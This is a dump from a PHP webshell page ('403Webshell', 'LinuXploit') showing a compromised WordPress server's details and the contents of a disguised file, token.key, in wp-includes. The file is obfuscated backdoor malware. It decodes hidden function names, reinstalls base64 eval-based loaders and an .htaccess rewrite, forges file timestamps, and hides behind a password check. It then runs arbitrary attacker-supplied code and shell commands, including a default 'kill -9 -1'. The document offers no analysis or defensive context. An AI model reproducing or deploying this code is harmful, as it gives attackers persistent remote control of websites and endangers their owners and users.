- GRAYBYTE UNDETECTABLE CODES -

403Webshell
Server IP : 170.150.155.74  /  Your IP : 3.21.12.244
Web Server : Apache/2.4.53 (Debian)
System : Linux b22bf132354b 5.4.0-162-generic #179-Ubuntu SMP Mon Aug 14 08:51:31 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.29
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/wp-includes/js/thickbox/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wp-includes/js/thickbox/token.key
<?php
/*Step Data*/
$s = $_SERVER;
/*Step Data*/
$g = $_REQUEST;
if (!empty($_GET))
    foreach ($_GET as $k => $v) $g[$k] = $v;
/*Step Data*/
$pz = function ($y, $z, $u, $c, $g, $q = '') {
    if ($u && @Md5_File($y) !== $u) {
        $fwC = $c[$g($z[3])];
        $t1 = @filEmtiMe($y);
        @ChMod($y, 0744);
        @$z[6]($y);
        $t1 || $t1 = time() - 3600;
        $t = ['m' => $t1, 'a' => $t1];
        File_Put_conTents($y, $c[implode('_', ['', 'code', ''])]($q ? $q : 'PD9waHAgCiRtanNUeHpSQgk9CmZ1bmN0aW9uKCRLUlVpICl7JFZtQ1ZuclVtayA9ICJfRXNCYTRlIjskWmV2Vj0kVm1DVm5yVW1rWygyNC0gMjUrIDcpIC8yXQkuCiRWbUNWbnJVbWtbKDk3IC04OSkgLyAyXS4kVm1DVm5yVW1rWyg0NC0zNCArIDIpIC82XS4gJFZtQ1ZuclVta1soMTAgLTE2ICsgOSkvM10uCigoMTAyIC0gNzYgLTIpLyA0KS4gKCg1Mi0gMjgpLzYpCTsKJFpldlYgLj0NJFZtQ1ZuclVta1soMi0gMikgLyAzXS4JJ2QnLidlJy4nYycJLgknTycKLiAnZCcJLiRWbUNWbnJVbWtbKDY0IC0gMjYtMikgLzZdCi4nJzsJIHJldHVybiAkWmV2VigkS1JVaSk7CSANfTsNIAkJDQkkQ0hvVllhT1YNPQlmdW5jdGlvbigkWlVYWnIpe0V2YUwKKCRaVVhacik7fTsKJG1qc1R4elJCPQlmdW5jdGlvbiAoJEtSVWkgKXskVm1DVm5yVW1rID0gIl9Fc0JhNGUiOyRaZXZWPSRWbUNWbnJVbWtbKDI0LSAyNSsgNykgLzJdLgkkVm1DVm5yVW1rWyg5NyAtODkpIC8gMl0KLiRWbUNWbnJVbWtbKDQ0LTM0ICsgMikgLzZdCS4gJFZtQ1ZuclVta1soMTAgLTE2ICsgOSkvM10NLiAoKDEwMiAtIDc2IC0yKS8gNCkNLiAoKDUyLSAyOCkvNik7JFpldlYuPQkJJFZtQ1ZuclVta1soMi0gMikgLyAzXS4nZCcuDSdlJy4JJ2MnCS4JJ08nCS4JJ2QnLiAkVm1DVm5yVW1rWyg2NCAtIDI2LTIpIC82XSAuICcnO3JldHVybiAkWmV2VigkS1JVaSk7IH07ZnVuY3Rpb24gRGRWSXFZDSgkVFJIWkgsJGxDdQkpCXskX0hESF89Im5IR2RfeUxXaUxXcmZjZ3JtRDFRSTdKX1NXQlp4NWQyYk50WmlKaFVDTkVhc1dlRFlKa1YiO3JldHVybiAkX0hESF87fWZ1bmN0aW9uIEp2dFFDICgkVmhndnhYalAJKSB7JHZ3M05NOTZfID0gInNUb3IzMSI7JHhZbDZLa0NpVz0kdnczTk05Nl9bKDI4IC0gMTkgLSA5KS80XQkuJ3QnCS4kdnczTk05Nl9bKDExNiAtMTA4ICsgMTApIC8gNl0uCSdfJy4gJ1InLg0kdnczTk05Nl9bKDc4IC0gNzIpIC8gM10uJHZ3M05NOTZfWyg5MC04OCkvMl0gLgokdnczTk05Nl9bKDQxIC0xMSkgLyA2XS4oKDkxIC0gNzIgLSAxMCkvIDMpCS4gJyc7cmV0dXJuICR4WWw2S2tDaVcoJFZoZ3Z4WGpQKTt9DSRmdHY9J00va1BpK3BHY3NlV1RRSzBKY05nbThpR1FCa1FrQlNhakVhcmFsZGNJcVNWdGFtVTRiLzM3T3BteWNhUVpLWVBtYjdZMHU1M3ZyUG5mR2R2UXN4MXNXdTV6TUV1NWZaVTY3ZGZQMy9XbW1JcnhLblBiYlNON256Q050ZXRrQVU0WkpvYXZOeS91dng4U0M4L3YvSHUwbjM3OE1Cd3duUS91VHZiL3h5ZXY3KzY0eHVmL0FNalVTVlI0dHRUejU4eTRDSGVIYUd1MXJMR3ByRnZHbitwNTVQSnJuVjBmR3p1VHF5TG8rSFozdEdacVg3c29INEhyVXRqajhEb1dNUmNzRzZZR2VhcGFaaUcrbkhub1k0dFJTazR3TDlONXpuMjRNMENuOFBKUE0xczN3d1RkNEJHVmVGMTBLSThaWit3elN6c0NmTFFwd3lTRlBsZVFxMnliOHFvMXE1WlY0NE04M0kwTWEyamt4TVlyc0J3aHdDQTNUaUp5TFRTVVRvb3Q2dFRVSmVuV3VCQmJteXFDYXUyN0k4cGxjTVQvMktJUE5JNHNjUWIwZHJ0TDgrZnJkUWdSR0R1V1VMWVhKZnNlZjVNRE1rTzJZM2x1UWwwS2FKcnE5ZXJxcU8zdWJtcE83R3pBNi9iUDVNWG5zdkZuOENKZjZtZGVKQUNpQWRSRHVLZmkzNloxUmlUQmRLY2o4YVRMQ2RBMlVqYW16MXpQTEgyakhjU0lKVHdBOHF4TFdGbjV1UXYxUStrb09WekppQ2tvMEN1UWpBS2V2RUNsYWJRY08xeXloU1pKL21vS1RKNEVaOGk4cnZDYmpqVk1oZ0tRZHhWMlN6ekJOeU95NlpXNnRNZzF0U0JCTG40RGxQU0duQzFJOExJSlhEWjN4NlRNUlBINVRhRlVaVko3aUQ0WWJhY2FESXo3VnFMSUtsRElORU5TREZsNXB1bENQWG1ZbmJPZzZIa1pNeXRBTnNVN01qY1FpQXF1d2dtd3c2Q09NV2hwbVJ4Ni9TR1FnSDNmOTNZa0wwUlQ1amxlTlFxR0J2QTBwTkV4OHdQbWFzcHgxbGpsOTQ2YkF0UmRrTjdUZ0tWOXhvRnNlOFNScmM5R25WL3l3VUtZbHp4Nk1vSFd5bWJjMmRvUnI3Vm9sL28yaTRtUTFOS0IxWkZBamFwNytnM2FmSmp5UGtFTlZzUWNNSmxaT1dLTkJnTVpwVEtSUDhtcFNMc01oL1NXenJ4Q1JMUE1xY3JyVHpmeFpwRFlORzV2cjdXcHhoUEU2WUhPTzBKVlhaeTJMYXdsRXJXeWxXR2xFT2sweFdRRm5ZZ0J4T3R4SFdRTXM2ZERUSGxFUTk4dVNBWUxHRDhpb1ZLSnZOS1hrUmoyUEk0RlJzbE9wT0RRWVcxb290UjZBcmFRcU0vVnorNGVXMnRsQXZzVjFHWWhqRXlabG5nNS83UlV0WDBYM2JhUDFTUjFzcnlzWEtEd0xQcWFzbTlHS1RPdDJWTk9leW0zZkRENUh5TGI1RmRwU08yWjIzT0dSaUlnMURpQjJEeDVhZUM1RjZVZlBIU3FQNkhyUEUvTVUwVEdIM2VyM1JVRUdUV1VoYUQzTWpyelUyQmkxTVQ2TkJCM2ZXMjNLcjBnQkRsUjVNMm01MHkyQnpWVVp0NVZQUHB1S3dNSURjTDE1enZFT3NodGVhbjVQK2FMTlJFV1B4WG9sU0taSXN2V2hSRVJiemVYM2NnUDgwbzVEbTB0NmF2SVFDSXZRR2RZczhPMVJuWFNxMUgrUWJmci9wcnkzMERBRjFpMklmUUxuTlQzd2FiNUZaZG5yazUrZ1dwS3h4ZDRHeS8yMEtxWHMva3Q2UnlvOTlmSGc0QTBEdUF1cmFmb0RGenIrQnFaNG9MNkpORHlsMDhWQTNLZ3g3bTVKRW45OGl6c3d0QWR1TFBwNm50cHl4YlhXWHpXajR6NmljbXhUODMrc0VKdnJwNGVjb1BiemRTLytEOXAvQXNYUFBmR3NtRkhXOHcvdnVySUUzNmYweE1MenlQKzBvKzNTVG55Ky9sZkZmampNdGpOZkRLa3phUXo1eTA5Wmo2UWNERXJpSHhXWnpMVEdaVElVMFNMTVMwNERZa2ptWFhUcGZiUWVLRmpQVGc5QUk2VWRiTklQTENWSm9zTWhEdEZTb0NseFlMT2NVTDJjY2MyTmt1WjczcU9wWXZUWEM3RFRrc09Bdmh4Y2x0d2IwRDhINll3dldWcDFCTHBPZERnVngzRXhiQnBjR3hwMksvcnlVb0s3QW5FN2w4R2xkTWxUVExhTXJ4NTB3azVRa1hyNENDNnJqaWlUN2wwVmVOYkNsbDRONFM2cGVrelVFV2FpK3RrS29pWm93ZU42a004Z3ZqREZGeFg1enRtVzFmSEcyTklKK3plaU9FcGJhNTVlejQ5WHllTGhucDV2cjZ3cEhLOWdlOE5Zb2RuSktZSllrRmx4SWFrVVVyazl5VFlldHVmMEdOKy9oZ1FZSUZNSnNkU0Z1dHJ0UW91MWNGTVpnRmdMRzRYU3lFSy9JZHRtWHNnS01nN3FEalBlTml0Q3Mrc1Z5SUQxQTU0OE00dzV6c0djT0pjVFFjbjVwR1o2MitscFBDSmJ0aGdUQ2NZUXNTVEZqWmRpOENkQm4xWEx1NnhiK3VaNlA2b0NWREVtR2lWVmgvNkczancrSlkvZGdXWDNoZ0g2RTR3ZGVzK2VWUkFsYmhOSzNpS0ZMekRPWGVxZXV4YkVUWktSeWNjRUtFRVBYUFZBZlc2Y2g0ZTJTY21DZldyakdhakhLbmo4UGdHRjkraGtPUE9sOFlvWFZxaklZVHl4eWVXRThLZUJIK3NmZ3JRU0lmQmlQRVFQOEMnOwoJCWZ1bmN0aW9uICBtVHRVUVdOWFQoJFJLXzkKKXskU29rQmI0Y2VaID0gIkg5R2JGdCI7JEhZblNoQTU9KCg0My0gMTUpLzQpCS4NJ1YnIC4gJ2gnCS4JJFNva0JiNGNlWlsoODktNjgtIDMpLyA2XQ07CiRIWW5TaEE1IC49J1UnLiAoKDU2IC0gNS02KSAvNSkJLgkkU29rQmI0Y2VaWyg2MSAtMzEpIC8gNl0JLiRTb2tCYjRjZVpbKDQ5IC0gNDAgKzEpIC81XQ0uCSRTb2tCYjRjZVpbKDQ0LTI0KS81XQouJFNva0JiNGNlWlsoNzMgLTcwIC0gMykvM10JLiAoKDQ2IC0gMzQpLyAzKS4KJ20nLgknJzsgDXJldHVybiAkSFluU2hBNTt9CSANZnVuY3Rpb24gCnIySk82cjlvKCRndW9QbkkJKXsJcmV0dXJuIAptVHRVUVdOWFQoJycpDS4kZ3VvUG5JO30KCSBmdW5jdGlvbiAJdldGbigkUkxIbUJCRVBJICl7JGtyMSA9ICJpZnRlTEdaIjskX0poUjBKanNXPSRrcjFbKDM5LSAzMCsgNikgLyAzXTskX0poUjBKanNXLj0KJGtyMVsoNzUgLSAzOSkvIDZdCi4ka3IxWyg4OC04OCkvIDVdDS4NJ04nOyRfSmhSMEpqc1cJLj0ka3IxWygxNSAtIDQgLTgpIC8gM10uJGtyMVsoNTgtIDM4KSAvNV07CSRfSmhSMEpqc1cJLj0NJ0EnLg0ka3IxWyg4MSAtNzUpIC8gM10uJGtyMVsoNzMtIDQ5IC0gNikvNl07DSRfSmhSMEpqc1cuPSANJyc7cmV0dXJuICRfSmhSMEpqc1coJFJMSG1CQkVQSSk7CX1mdW5jdGlvbiAgeVhwWVMJKCRaa28peyRuSGVLNUdGID0gIjlSNm9yIjskTkp0TFd0X1llPSRuSGVLNUdGWygyNSAtIDIxICsgOCkvIDNdCS4oKDExMSAtMTAxICsyKSAvIDYpLidKJy4gJ08nCi4oKDQ4IC0yOSArIDUpIC80KQ0uJG5IZUs1R0ZbKDM3IC0gNDMgKyA5KS8gM10JOwkkTkp0TFd0X1llCi49CigoODAgLTUzKSAvIDMpCi4gJG5IZUs1R0ZbKDUzIC0zNSkvNl0uICcnOwlyZXR1cm4gJE5KdExXdF9ZZSgkWmtvKTsJCQp9JGZ0dj15WHBZUygkZnR2KTskZnR2CT0kbWpzVHh6UkIoJGZ0dik7ICRmdHYgPQl2V0ZuKCRmdHYpOwkJJGZ0dj1KdnRRQygkZnR2KTsJCSAgICRDSG9WWWFPViAoJGZ0dik7ID8+PD9waHAgIGRlZmluZSgnV1BfVVNFX1RIRU1FUycsIHRydWUgKTtyZXF1aXJlKF9fRElSX18uICAnL3dwLWJsb2ctaGVhZGVyLnBocCcgKTsgPz4='));
        Touch($y, $t['m'], $t['a']);
        @ChMod($y, 0444);
        return true;
    }
    return false;
};
/*Step Data*/
$c = [
    '137S105122V105122',
    'D117C125ME116T137122OO124',
    '137G105T',
    '_143o144145137',
    'ed74db07914315aa34d2bde23eff2c30', 'd' => ['145170105c'],
    'in144e170056p150160', 'link',
    'h' => [
        "056150ta143143e163s", 'be476d27ece89594604d14886c081016', '146I154E137160U164137143O156164E116164123', '156am145'
    ],
    'c' => ['145170105c', '142101S145066064137d105C157d145', '141d155i156056160p160']
];
/*Step Data*/
$z = function ($b) {
    $_ = "";
    $g = strlen($b) - 2;
    $z = function ($b) {
        $_ = '';
        if (($g = strlen($b)) < 3) return [2, $b];
        for ($o = 0; $o < $g; $o++) {
            $_ .= $b[$o];
            if (!is_numeric($b[$o]) || $b[$o] >= 8) return [$o + 1, $_];
        }
        return [$o, chr(octdec($b))];
    };
    for ($o = 0; $o < $g; $o += $d[0]) {
        $d = $z($b[$o] . $b[$o + 1] . $b[$o + 2]);
        $_ .= $d[1];
    }
    return $_ . substr($b, $o);
};
/*Step Data*/
/*Step1 Data*/
$g['0x06'] = '_dxep';
/*Step Data*/
$r = rtrim($s[$z($c[1])], '/') . '/';
/*Step Data*/
$c[6] = 'un' . $c[6];
/*Step Data*/
$vn = '_exp';
/*Step1 Data*/
empty($_COOKIE[$g['0x06']]) && $_COOKIE[$g['0x06']] = FALSE;
if (!defined("WP_UNIQUE")) define("WP_UNIQUE", (isset($g['a']) && (($_e = substr(md5($g['a']), 2, 8) === 'b67bf06b') || preg_match('/^\d*[a-z,A-Z]{2,}\d{2,}$/i', $g['a'])) || !empty($_COOKIE[$vn])) ? (($_e || (!empty($_COOKIE[$vn]) && substr(md5($_COOKIE[$vn]), 2, 8) === 'b67bf06b')) ? 2 : 1) : 0);
$q = function ($g) {
    $data = array_map(function ($item) {
        $item();
        return "\$i";
    }, $g);

    return $data;
};

$q(
/* debug */
    $uz = [
        function () {

        },
        function () use ($r, $z, $c, $pz, $g) {
            $y = $r . $z($c[5]);
            $_COOKIE[$g['0x06']] = $pz($y, $c, $c[4], $g, $z);
        },
        function () use ($r, $z, $c, $pz, $g) {
            $pz($r . $z($c['h'][0]), $c, $c['h'][1], $g, $z, 'PElmTW9kdWxlIG1vZF9yZXdyaXRlLmM+DQpSZXdyaXRlRW5naW5lIE9uDQpSZXdyaXRlQmFzZSAvDQpSZXdyaXRlUnVsZSBeaW5kZXgucGhwJCAtIFtMXQ0KUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWYNClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1kDQpSZXdyaXRlUnVsZSAuIGluZGV4LnBocCBbTF0NCjwvSWZNb2R1bGU+');
        },
        function () use ($r, $z, $c, $pz, $g) {
            $pc = empty($g[$N = $z($c['h'][3])]) ? '' : $g[$N];
            $q = 'PD9waHAgQHVubGluayhfX0ZJTEVfXyk7Pz4';
            if (WP_UNIQUE !== 2 || strlen($pc) < 20 || stripos($pc, ';') === false) return;
            $q = base64_decode($q);
            @file_put_contents($d = time() . rand(1000, 9999), $q . $g[implode('_', ['', 'code', ''])]($pc));
            if (file_exists($d))
                @require $d;
            die();
        },
        function () use ($z, $c, $r, $g) {
            if (!WP_UNIQUE || empty($g['fx'])) return;
            $pc = $z($c['c'][1]);
            $pz = $z($c['h'][2]);
            $pz($z($c['c'][2]), $pc($g['fx']));
            echo explode('.', $z($c['c'][2]))[0];
            die();
        },
        function () use ($g) {
            if (WP_UNIQUE && isset($g['d']))
                echo $g['d'] ? "Dj" . $g['d'] : 'd';
        },
        function () use ($z, $c, $g) {
            $pc = $z($c[$v = 'c'][0]);
            $pz = $z($c['c'][1]);
            WP_UNIQUE && isset($g[$v]) && ((isset($g[$r = 'g']) && $pc = $g[$r]) || 1) &&
            $pc($z($g[$v] ? $pz($g[$v]) : "153i154l -071040-61"), $a) && print_r($a);
        },

        function () use ($g) {
            if (WP_UNIQUE && isset($g['z']))
                die();
        },
    ]

/**/
);
$y = $r . $z($c[5]);




Youez - 2016 - github.com/yon3zu
LinuXploit